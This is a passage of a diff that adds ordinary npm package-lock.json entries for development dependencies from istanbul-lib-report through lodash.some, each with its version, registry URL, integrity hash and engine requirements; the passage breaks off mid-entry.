+ "node_modules/istanbul-lib-processinfo/node_modules/p-map": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/p-map/-/p-map-3.0.0.tgz",
+ "integrity": "sha512-d3qXVTF/s+W+CdJ5A29wywV2n8CQQYahlgz2bFiA+4eVNJbHJodPZ+/gXwPGh0bOqA+j8S+6+ckmvLGPk1QpxQ==",
+ "dev": true,
+ "dependencies": {
+ "aggregate-error": "^3.0.0"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/istanbul-lib-report": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/istanbul-lib-report/-/istanbul-lib-report-3.0.0.tgz",
+ "integrity": "sha512-wcdi+uAKzfiGT2abPpKZ0hSU1rGQjUQnLvtY5MpQ7QCTahD3VODhcu4wcfY1YtkGaDD5yuydOLINXsfbus9ROw==",
+ "dev": true,
+ "dependencies": {
+ "istanbul-lib-coverage": "^3.0.0",
+ "make-dir": "^3.0.0",
+ "supports-color": "^7.1.0"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/istanbul-lib-report/node_modules/make-dir": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz",
+ "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==",
+ "dev": true,
+ "dependencies": {
+ "semver": "^6.0.0"
+ },
+ "engines": {
+ "node": ">=8"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/istanbul-lib-source-maps": {
+ "version": "4.0.1",
+ "resolved": "https://registry.npmjs.org/istanbul-lib-source-maps/-/istanbul-lib-source-maps-4.0.1.tgz",
+ "integrity": "sha512-n3s8EwkdFIJCG3BPKBYvskgXGoy88ARzvegkitk60NxRdwltLOTaH7CUiMRXvwYorl0Q712iEjcWB+fK/MrWVw==",
+ "dev": true,
+ "dependencies": {
+ "debug": "^4.1.1",
+ "istanbul-lib-coverage": "^3.0.0",
+ "source-map": "^0.6.1"
+ },
+ "engines": {
+ "node": ">=10"
+ }
+ },
+ "node_modules/istanbul-reports": {
+ "version": "3.1.5",
+ "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.1.5.tgz",
+ "integrity": "sha512-nUsEMa9pBt/NOHqbcbeJEgqIlY/K7rVWUX6Lql2orY5e9roQOthbR3vtY4zzf2orPELg80fnxxk9zUyPlgwD1w==",
+ "dev": true,
+ "dependencies": {
+ "html-escaper": "^2.0.0",
+ "istanbul-lib-report": "^3.0.0"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/jest-worker": {
+ "version": "27.5.1",
+ "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-27.5.1.tgz",
+ "integrity": "sha512-7vuh85V5cdDofPyxn58nrPjBktZo0u9x1g8WtjQol+jZDaE+fhN+cIvTj11GndBnMnyfrUOG1sZQxCdjKh+DKg==",
+ "dev": true,
+ "peer": true,
+ "dependencies": {
+ "@types/node": "*",
+ "merge-stream": "^2.0.0",
+ "supports-color": "^8.0.0"
+ },
+ "engines": {
+ "node": ">= 10.13.0"
+ }
+ },
+ "node_modules/jest-worker/node_modules/supports-color": {
+ "version": "8.1.1",
+ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz",
+ "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==",
+ "dev": true,
+ "peer": true,
+ "dependencies": {
+ "has-flag": "^4.0.0"
+ },
+ "engines": {
+ "node": ">=10"
+ },
+ "funding": {
+ "url": "https://github.com/chalk/supports-color?sponsor=1"
+ }
+ },
+ "node_modules/jiti": {
+ "version": "1.19.1",
+ "resolved": "https://registry.npmjs.org/jiti/-/jiti-1.19.1.tgz",
+ "integrity": "sha512-oVhqoRDaBXf7sjkll95LHVS6Myyyb1zaunVwk4Z0+WPSW4gjS0pl01zYKHScTuyEhQsFxV5L4DR5r+YqSyqyyg==",
+ "dev": true,
+ "bin": {
+ "jiti": "bin/jiti.js"
+ }
+ },
+ "node_modules/js-tokens": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz",
+ "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==",
+ "dev": true
+ },
+ "node_modules/js-yaml": {
+ "version": "4.1.0",
+ "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.0.tgz",
+ "integrity": "sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==",
+ "dev": true,
+ "dependencies": {
+ "argparse": "^2.0.1"
+ },
+ "bin": {
+ "js-yaml": "bin/js-yaml.js"
+ }
+ },
+ "node_modules/js2xmlparser": {
+ "version": "4.0.2",
+ "resolved": "https://registry.npmjs.org/js2xmlparser/-/js2xmlparser-4.0.2.tgz",
+ "integrity": "sha512-6n4D8gLlLf1n5mNLQPRfViYzu9RATblzPEtm1SthMX1Pjao0r9YI9nw7ZIfRxQMERS87mcswrg+r/OYrPRX6jA==",
+ "dev": true,
+ "dependencies": {
+ "xmlcreate": "^2.0.4"
+ }
+ },
+ "node_modules/jsdoc": {
+ "version": "3.6.7",
+ "resolved": "https://registry.npmjs.org/jsdoc/-/jsdoc-3.6.7.tgz",
+ "integrity": "sha512-sxKt7h0vzCd+3Y81Ey2qinupL6DpRSZJclS04ugHDNmRUXGzqicMJ6iwayhSA0S0DwwX30c5ozyUthr1QKF6uw==",
+ "dev": true,
+ "dependencies": {
+ "@babel/parser": "^7.9.4",
+ "bluebird": "^3.7.2",
+ "catharsis": "^0.9.0",
+ "escape-string-regexp": "^2.0.0",
+ "js2xmlparser": "^4.0.1",
+ "klaw": "^3.0.0",
+ "markdown-it": "^10.0.0",
+ "markdown-it-anchor": "^5.2.7",
+ "marked": "^2.0.3",
+ "mkdirp": "^1.0.4",
+ "requizzle": "^0.2.3",
+ "strip-json-comments": "^3.1.0",
+ "taffydb": "2.6.2",
+ "underscore": "~1.13.1"
+ },
+ "bin": {
+ "jsdoc": "jsdoc.js"
+ },
+ "engines": {
+ "node": ">=8.15.0"
+ }
+ },
+ "node_modules/jsdoc/node_modules/escape-string-regexp": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-2.0.0.tgz",
+ "integrity": "sha512-UpzcLCXolUWcNu5HtVMHYdXJjArjsF9C0aNnquZYY4uW/Vu0miy5YoWvbV345HauVvcAUnpRuhMMcqTcGOY2+w==",
+ "dev": true,
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/jsdom": {
+ "version": "18.0.0",
+ "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-18.0.0.tgz",
+ "integrity": "sha512-HVLuBcFmwdWulStv5U+J59b1AyzXhM92KXlM8HQ3ecYtRM2OQEUCPMa4oNuDeCBmtRcC7tJvb0Xz5OeFXMOKTA==",
+ "dev": true,
+ "dependencies": {
+ "abab": "^2.0.5",
+ "acorn": "^8.5.0",
+ "acorn-globals": "^6.0.0",
+ "cssom": "^0.5.0",
+ "cssstyle": "^2.3.0",
+ "data-urls": "^3.0.1",
+ "decimal.js": "^10.3.1",
+ "domexception": "^4.0.0",
+ "escodegen": "^2.0.0",
+ "form-data": "^4.0.0",
+ "html-encoding-sniffer": "^3.0.0",
+ "http-proxy-agent": "^5.0.0",
+ "https-proxy-agent": "^5.0.0",
+ "is-potential-custom-element-name": "^1.0.1",
+ "nwsapi": "^2.2.0",
+ "parse5": "6.0.1",
+ "saxes": "^5.0.1",
+ "symbol-tree": "^3.2.4",
+ "tough-cookie": "^4.0.0",
+ "w3c-hr-time": "^1.0.2",
+ "w3c-xmlserializer": "^3.0.0",
+ "webidl-conversions": "^7.0.0",
+ "whatwg-encoding": "^2.0.0",
+ "whatwg-mimetype": "^3.0.0",
+ "whatwg-url": "^10.0.0",
+ "ws": "^8.2.3",
+ "xml-name-validator": "^4.0.0"
+ },
+ "engines": {
+ "node": ">=12"
+ },
+ "peerDependencies": {
+ "canvas": "^2.5.0"
+ },
+ "peerDependenciesMeta": {
+ "canvas": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/jsdom-global": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/jsdom-global/-/jsdom-global-3.0.2.tgz",
+ "integrity": "sha512-t1KMcBkz/pT5JrvcJbpUR2u/w1kO9jXctaaGJ0vZDzwFnIvGWw9IDSRciT83kIs8Bnw4qpOl8bQK08V01YgMPg==",
+ "dev": true,
+ "peerDependencies": {
+ "jsdom": ">=10.0.0"
+ }
+ },
+ "node_modules/jsesc": {
+ "version": "2.5.2",
+ "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-2.5.2.tgz",
+ "integrity": "sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA==",
+ "dev": true,
+ "bin": {
+ "jsesc": "bin/jsesc"
+ },
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/json-parse-even-better-errors": {
+ "version": "2.3.1",
+ "resolved": "https://registry.npmjs.org/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz",
+ "integrity": "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==",
+ "dev": true,
+ "peer": true
+ },
+ "node_modules/json-schema-traverse": {
+ "version": "0.4.1",
+ "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz",
+ "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==",
+ "dev": true
+ },
+ "node_modules/json-stable-stringify-without-jsonify": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz",
+ "integrity": "sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==",
+ "dev": true
+ },
+ "node_modules/json5": {
+ "version": "2.2.3",
+ "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz",
+ "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==",
+ "dev": true,
+ "bin": {
+ "json5": "lib/cli.js"
+ },
+ "engines": {
+ "node": ">=6"
+ }
+ },
+ "node_modules/jsonfile": {
+ "version": "6.1.0",
+ "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.1.0.tgz",
+ "integrity": "sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ==",
+ "dev": true,
+ "dependencies": {
+ "universalify": "^2.0.0"
+ },
+ "optionalDependencies": {
+ "graceful-fs": "^4.1.6"
+ }
+ },
+ "node_modules/jsonfile/node_modules/universalify": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.0.tgz",
+ "integrity": "sha512-hAZsKq7Yy11Zu1DE0OzWjw7nnLZmJZYTDZZyEFHZdUhV8FkH5MCfoU1XMaxXovpyW5nq5scPqq0ZDP9Zyl04oQ==",
+ "dev": true,
+ "engines": {
+ "node": ">= 10.0.0"
+ }
+ },
+ "node_modules/jsonminify": {
+ "version": "0.2.3",
+ "resolved": "https://registry.npmjs.org/jsonminify/-/jsonminify-0.2.3.tgz",
+ "integrity": "sha512-xCKqFKtH9nCPqm2Uisk7GlgYMkk4FQ7rHosMcIoSBAP8KkpW8/9ditjDXCcTuIEIiyq9WR97G+9i60fhW7ibUA==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.8.0",
+ "npm": ">=1.1.0"
+ }
+ },
+ "node_modules/just-debounce": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/just-debounce/-/just-debounce-1.1.0.tgz",
+ "integrity": "sha512-qpcRocdkUmf+UTNBYx5w6dexX5J31AKK1OmPwH630a83DdVVUIngk55RSAiIGpQyoH0dlr872VHfPjnQnK1qDQ==",
+ "dev": true
+ },
+ "node_modules/just-extend": {
+ "version": "4.2.1",
+ "resolved": "https://registry.npmjs.org/just-extend/-/just-extend-4.2.1.tgz",
+ "integrity": "sha512-g3UB796vUFIY90VIv/WX3L2c8CS2MdWUww3CNrYmqza1Fg0DURc2K/O4YrnklBdQarSJ/y8JnJYDGc+1iumQjg==",
+ "dev": true
+ },
+ "node_modules/kind-of": {
+ "version": "6.0.3",
+ "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz",
+ "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/klaw": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/klaw/-/klaw-3.0.0.tgz",
+ "integrity": "sha512-0Fo5oir+O9jnXu5EefYbVK+mHMBeEVEy2cmctR1O1NECcCkPRreJKrS6Qt/j3KC2C148Dfo9i3pCmCMsdqGr0g==",
+ "dev": true,
+ "dependencies": {
+ "graceful-fs": "^4.1.9"
+ }
+ },
+ "node_modules/kleur": {
+ "version": "3.0.3",
+ "resolved": "https://registry.npmjs.org/kleur/-/kleur-3.0.3.tgz",
+ "integrity": "sha512-eTIzlVOSUR+JxdDFepEYcBMtZ9Qqdef+rnzWdRZuMbOywu5tO2w2N7rqjoANZ5k9vywhL6Br1VRjUIgTQx4E8w==",
+ "dev": true,
+ "engines": {
+ "node": ">=6"
+ }
+ },
+ "node_modules/last-run": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/last-run/-/last-run-1.1.1.tgz",
+ "integrity": "sha512-U/VxvpX4N/rFvPzr3qG5EtLKEnNI0emvIQB3/ecEwv+8GHaUKbIB8vxv1Oai5FAF0d0r7LXHhLLe5K/yChm5GQ==",
+ "dev": true,
+ "dependencies": {
+ "default-resolution": "^2.0.0",
+ "es6-weak-map": "^2.0.1"
+ },
+ "engines": {
+ "node": ">= 0.10"
+ }
+ },
+ "node_modules/lazystream": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/lazystream/-/lazystream-1.0.1.tgz",
+ "integrity": "sha512-b94GiNHQNy6JNTrt5w6zNyffMrNkXZb3KTkCZJb2V1xaEGCk093vkZ2jk3tpaeP33/OiXC+WvK9AxUebnf5nbw==",
+ "dev": true,
+ "dependencies": {
+ "readable-stream": "^2.0.5"
+ },
+ "engines": {
+ "node": ">= 0.6.3"
+ }
+ },
+ "node_modules/lcid": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/lcid/-/lcid-1.0.0.tgz",
+ "integrity": "sha512-YiGkH6EnGrDGqLMITnGjXtGmNtjoXw9SVUzcaos8RBi7Ps0VBylkq+vOcY9QE5poLasPCR849ucFUkl0UzUyOw==",
+ "dev": true,
+ "dependencies": {
+ "invert-kv": "^1.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/lead": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/lead/-/lead-1.0.0.tgz",
+ "integrity": "sha512-IpSVCk9AYvLHo5ctcIXxOBpMWUe+4TKN3VPWAKUbJikkmsGp0VrSM8IttVc32D6J4WUsiPE6aEFRNmIoF/gdow==",
+ "dev": true,
+ "dependencies": {
+ "flush-write-stream": "^1.0.2"
+ },
+ "engines": {
+ "node": ">= 0.10"
+ }
+ },
+ "node_modules/levn": {
+ "version": "0.4.1",
+ "resolved": "https://registry.npmjs.org/levn/-/levn-0.4.1.tgz",
+ "integrity": "sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==",
+ "dev": true,
+ "dependencies": {
+ "prelude-ls": "^1.2.1",
+ "type-check": "~0.4.0"
+ },
+ "engines": {
+ "node": ">= 0.8.0"
+ }
+ },
+ "node_modules/liftoff": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/liftoff/-/liftoff-3.1.0.tgz",
+ "integrity": "sha512-DlIPlJUkCV0Ips2zf2pJP0unEoT1kwYhiiPUGF3s/jtxTCjziNLoiVVh+jqWOWeFi6mmwQ5fNxvAUyPad4Dfog==",
+ "dev": true,
+ "dependencies": {
+ "extend": "^3.0.0",
+ "findup-sync": "^3.0.0",
+ "fined": "^1.0.1",
+ "flagged-respawn": "^1.0.0",
+ "is-plain-object": "^2.0.4",
+ "object.map": "^1.0.0",
+ "rechoir": "^0.6.2",
+ "resolve": "^1.1.7"
+ },
+ "engines": {
+ "node": ">= 0.8"
+ }
+ },
+ "node_modules/liftoff/node_modules/define-property": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/define-property/-/define-property-2.0.2.tgz",
+ "integrity": "sha512-jwK2UV4cnPpbcG7+VRARKTZPUWowwXA8bzH5NP6ud0oeAxyYPuGZUAC7hMugpCdz4BeSZl2Dl9k66CHJ/46ZYQ==",
+ "dev": true,
+ "dependencies": {
+ "is-descriptor": "^1.0.2",
+ "isobject": "^3.0.1"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/liftoff/node_modules/extend-shallow": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz",
+ "integrity": "sha512-BwY5b5Ql4+qZoefgMj2NUmx+tehVTH/Kf4k1ZEtOHNFcm2wSxMRo992l6X3TIgni2eZVTZ85xMOjF31fwZAj6Q==",
+ "dev": true,
+ "dependencies": {
+ "assign-symbols": "^1.0.0",
+ "is-extendable": "^1.0.1"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/liftoff/node_modules/findup-sync": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/findup-sync/-/findup-sync-3.0.0.tgz",
+ "integrity": "sha512-YbffarhcicEhOrm4CtrwdKBdCuz576RLdhJDsIfvNtxUuhdRet1qZcsMjqbePtAseKdAnDyM/IyXbu7PRPRLYg==",
+ "dev": true,
+ "dependencies": {
+ "detect-file": "^1.0.0",
+ "is-glob": "^4.0.0",
+ "micromatch": "^3.0.4",
+ "resolve-dir": "^1.0.1"
+ },
+ "engines": {
+ "node": ">= 0.10"
+ }
+ },
+ "node_modules/liftoff/node_modules/is-accessor-descriptor": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz",
+ "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==",
+ "dev": true,
+ "dependencies": {
+ "kind-of": "^6.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/liftoff/node_modules/is-data-descriptor": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz",
+ "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==",
+ "dev": true,
+ "dependencies": {
+ "kind-of": "^6.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/liftoff/node_modules/is-descriptor": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz",
+ "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==",
+ "dev": true,
+ "dependencies": {
+ "is-accessor-descriptor": "^1.0.0",
+ "is-data-descriptor": "^1.0.0",
+ "kind-of": "^6.0.2"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/liftoff/node_modules/is-extendable": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz",
+ "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==",
+ "dev": true,
+ "dependencies": {
+ "is-plain-object": "^2.0.4"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/liftoff/node_modules/micromatch": {
+ "version": "3.1.10",
+ "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz",
+ "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==",
+ "dev": true,
+ "dependencies": {
+ "arr-diff": "^4.0.0",
+ "array-unique": "^0.3.2",
+ "braces": "^2.3.1",
+ "define-property": "^2.0.2",
+ "extend-shallow": "^3.0.2",
+ "extglob": "^2.0.4",
+ "fragment-cache": "^0.2.1",
+ "kind-of": "^6.0.2",
+ "nanomatch": "^1.2.9",
+ "object.pick": "^1.3.0",
+ "regex-not": "^1.0.0",
+ "snapdragon": "^0.8.1",
+ "to-regex": "^3.0.2"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/lilconfig": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-2.1.0.tgz",
+ "integrity": "sha512-utWOt/GHzuUxnLKxB6dk81RoOeoNeHgbrXiuGk4yyF5qlRz+iIVWu56E2fqGHFrXz0QNUhLB/8nKqvRH66JKGQ==",
+ "dev": true,
+ "engines": {
+ "node": ">=10"
+ }
+ },
+ "node_modules/lines-and-columns": {
+ "version": "1.2.4",
+ "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz",
+ "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==",
+ "dev": true
+ },
+ "node_modules/linkify-it": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/linkify-it/-/linkify-it-2.2.0.tgz",
+ "integrity": "sha512-GnAl/knGn+i1U/wjBz3akz2stz+HrHLsxMwHQGofCDfPvlf+gDKN58UtfmUquTY4/MXeE2x7k19KQmeoZi94Iw==",
+ "dev": true,
+ "dependencies": {
+ "uc.micro": "^1.0.1"
+ }
+ },
+ "node_modules/load-json-file": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/load-json-file/-/load-json-file-1.1.0.tgz",
+ "integrity": "sha512-cy7ZdNRXdablkXYNI049pthVeXFurRyb9+hA/dZzerZ0pGTx42z+y+ssxBaVV2l70t1muq5IdKhn4UtcoGUY9A==",
+ "dev": true,
+ "dependencies": {
+ "graceful-fs": "^4.1.2",
+ "parse-json": "^2.2.0",
+ "pify": "^2.0.0",
+ "pinkie-promise": "^2.0.0",
+ "strip-bom": "^2.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/load-json-file/node_modules/pify": {
+ "version": "2.3.0",
+ "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz",
+ "integrity": "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/load-json-file/node_modules/strip-bom": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-2.0.0.tgz",
+ "integrity": "sha512-kwrX1y7czp1E69n2ajbG65mIo9dqvJ+8aBQXOGVxqwvNbsXdFM6Lq37dLAY3mknUwru8CfcCbfOLL/gMo+fi3g==",
+ "dev": true,
+ "dependencies": {
+ "is-utf8": "^0.2.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/loader-runner": {
+ "version": "4.3.0",
+ "resolved": "https://registry.npmjs.org/loader-runner/-/loader-runner-4.3.0.tgz",
+ "integrity": "sha512-3R/1M+yS3j5ou80Me59j7F9IMs4PXs3VqRrm0TU3AbKPxlmpoY1TNscJV/oGJXo8qCatFGTfDbY6W6ipGOYXfg==",
+ "dev": true,
+ "peer": true,
+ "engines": {
+ "node": ">=6.11.5"
+ }
+ },
+ "node_modules/locate-path": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz",
+ "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==",
+ "dev": true,
+ "dependencies": {
+ "p-locate": "^5.0.0"
+ },
+ "engines": {
+ "node": ">=10"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/lodash": {
+ "version": "4.17.21",
+ "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz",
+ "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==",
+ "dev": true
+ },
+ "node_modules/lodash.castarray": {
+ "version": "4.4.0",
+ "resolved": "https://registry.npmjs.org/lodash.castarray/-/lodash.castarray-4.4.0.tgz",
+ "integrity": "sha512-aVx8ztPv7/2ULbArGJ2Y42bG1mEQ5mGjpdvrbJcJFU3TbYybe+QlLS4pst9zV52ymy2in1KpFPiZnAOATxD4+Q==",
+ "dev": true
+ },
+ "node_modules/lodash.clone": {
+ "version": "4.5.0",
+ "resolved": "https://registry.npmjs.org/lodash.clone/-/lodash.clone-4.5.0.tgz",
+ "integrity": "sha512-GhrVeweiTD6uTmmn5hV/lzgCQhccwReIVRLHp7LT4SopOjqEZ5BbX8b5WWEtAKasjmy8hR7ZPwsYlxRCku5odg==",
+ "dev": true
+ },
+ "node_modules/lodash.debounce": {
+ "version": "4.0.8",
+ "resolved": "https://registry.npmjs.org/lodash.debounce/-/lodash.debounce-4.0.8.tgz",
+ "integrity": "sha512-FT1yDzDYEoYWhnSGnpE/4Kj1fLZkDFyqRb7fNt6FdYOSxlUWAtp42Eh6Wb0rGIv/m9Bgo7x4GhQbm5Ys4SG5ow==",
+ "dev": true
+ },
+ "node_modules/lodash.flattendeep": {
+ "version": "4.4.0",
+ "resolved": "https://registry.npmjs.org/lodash.flattendeep/-/lodash.flattendeep-4.4.0.tgz",
+ "integrity": "sha512-uHaJFihxmJcEX3kT4I23ABqKKalJ/zDrDg0lsFtc1h+3uw49SIJ5beyhx5ExVRti3AvKoOJngIj7xz3oylPdWQ==",
+ "dev": true
+ },
+ "node_modules/lodash.get": {
+ "version": "4.4.2",
+ "resolved": "https://registry.npmjs.org/lodash.get/-/lodash.get-4.4.2.tgz",
+ "integrity": "sha512-z+Uw/vLuy6gQe8cfaFWD7p0wVv8fJl3mbzXh33RS+0oW2wvUqiRXiQ69gLWSLpgB5/6sU+r6BlQR0MBILadqTQ==",
+ "dev": true
+ },
+ "node_modules/lodash.isplainobject": {
+ "version": "4.0.6",
+ "resolved": "https://registry.npmjs.org/lodash.isplainobject/-/lodash.isplainobject-4.0.6.tgz",
+ "integrity": "sha512-oSXzaWypCMHkPC3NvBEaPHf0KsA5mvPrOPgQWDsbg8n7orZ290M0BmC/jgRZ4vcJ6DTAhjrsSYgdsW/F+MFOBA==",
+ "dev": true
+ },
+ "node_modules/lodash.merge": {
+ "version": "4.6.2",
+ "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz",
+ "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==",
+ "dev": true
+ },
+ "node_modules/lodash.mergewith": {
+ "version": "4.6.2",
+ "resolved": "https://registry.npmjs.org/lodash.mergewith/-/lodash.mergewith-4.6.2.tgz",
+ "integrity": "sha512-GK3g5RPZWTRSeLSpgP8Xhra+pnjBC56q9FZYe1d5RN3TJ35dbkGy3YqBSMbyCrlbi+CM9Z3Jk5yTL7RCsqboyQ==",
+ "dev": true
+ },
+ "node_modules/lodash.some": {
+ "version": "4.6.0",
+ "resolved": "https://registry.npmjs.org/lodash.some/-/lodash.some-4.6.0.tgz",
